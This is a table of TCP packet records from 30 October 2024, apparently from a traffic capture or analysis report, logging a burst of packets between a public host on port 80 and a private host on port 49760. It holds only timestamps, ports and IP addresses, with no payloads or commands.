Oct 30, 2024 05:24:26.527610064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.527645111 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.527664900 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.527677059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.527688980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.527705908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.527713060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.527730942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.527730942 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.527743101 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.527754068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.527779102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.527805090 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.568032026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568063021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568073988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568115950 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.568131924 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568142891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568155050 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568196058 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.568207026 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.568522930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568540096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568552017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568593025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.568607092 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568618059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568629026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568640947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568651915 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.568681955 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.568727970 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568741083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568753004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568764925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568768024 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.568778038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568789959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568794966 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.568826914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.568830013 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568845034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568856001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568866968 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.568870068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568898916 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.568912983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568926096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568936110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568948030 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.568958998 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.568989992 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.569020987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569032907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569045067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569052935 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.569055080 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569080114 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.569122076 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569155931 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.569195986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569207907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569219112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569237947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569261074 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.569271088 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.569305897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569317102 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569355011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569355965 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.569367886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569379091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569395065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.569417000 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.569442987 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.589894056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.589905977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.589930058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.589947939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.589958906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.589966059 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.589972019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.589999914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590009928 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590014935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590053082 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590133905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590143919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590157032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590186119 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590217113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590226889 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590236902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590257883 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590285063 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590332031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590385914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590419054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590426922 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590430975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590464115 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590532064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590543032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590562105 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590573072 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590575933 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590584993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590595007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590610981 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590630054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590630054 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590642929 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590671062 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590689898 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590730906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590768099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590770006 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590822935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590859890 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590900898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590922117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590940952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590959072 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590960026 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.590970993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.590997934 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591003895 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.591005087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591012955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591065884 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.591145039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591171026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591181993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591192007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591203928 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591211081 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.591239929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.591248989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591260910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591284037 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.591291904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591332912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591353893 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.591455936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591480017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591490984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591495037 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.591502905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591530085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591542959 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.591551065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591562986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591568947 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.591574907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.591597080 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.630836964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.630867004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.630878925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.630897045 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.630944014 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.631931067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.631978035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.631989002 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.631999969 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.632050037 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.645961046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.645977974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.645998001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646015882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646025896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646038055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646042109 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.646059036 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.646078110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646089077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646090031 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.646100998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646112919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646123886 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.646123886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646147013 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.646187067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646224022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646266937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.646388054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646399021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646409035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.646431923 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.646460056 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.647474051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.647517920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.647528887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.647571087 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.647593021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.647604942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.647617102 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.647629976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.647636890 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.647660971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.647743940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.647756100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.647768974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.647780895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.647793055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.647794962 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.647826910 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.687397003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687416077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687436104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687454939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687465906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687470913 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.687478065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687534094 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.687784910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687849998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687861919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687891006 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.687892914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687906027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687938929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.687947035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687958002 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687969923 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.687999010 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688011885 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688056946 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688081980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688096046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688106060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688117981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688128948 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688134909 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688174009 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688213110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688239098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688251972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688261986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688272953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688283920 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688293934 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688323021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688393116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688404083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688414097 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688436031 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688522100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688565016 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688571930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688584089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688611984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688622952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688628912 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688651085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688668966 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688685894 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688698053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688734055 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688822985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688833952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688863039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688879013 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688888073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688898087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688910961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688941002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.688972950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688983917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.688994884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.689033031 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709084988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709110975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709121943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709131002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709132910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709146023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709151983 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709157944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709176064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709196091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709204912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709228039 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709275007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709289074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709309101 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709316969 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709321022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709348917 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709381104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709393024 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709403038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709417105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709435940 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709455967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709472895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709485054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709522009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709525108 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709551096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709562063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709606886 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709655046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709667921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709693909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709703922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709707022 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709716082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709743977 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709831953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709855080 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709866047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.709873915 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709903955 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.709970951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710033894 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710043907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710063934 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.710067987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710081100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710091114 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710108995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710129976 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.710143089 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.710228920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710238934 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710268974 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.710278034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710294962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710316896 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.710328102 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710339069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710359097 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.710369110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710386038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710402966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710410118 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.710448027 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.710453033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710469961 CET	80	49760	185.215.113.16	192.168.2.6
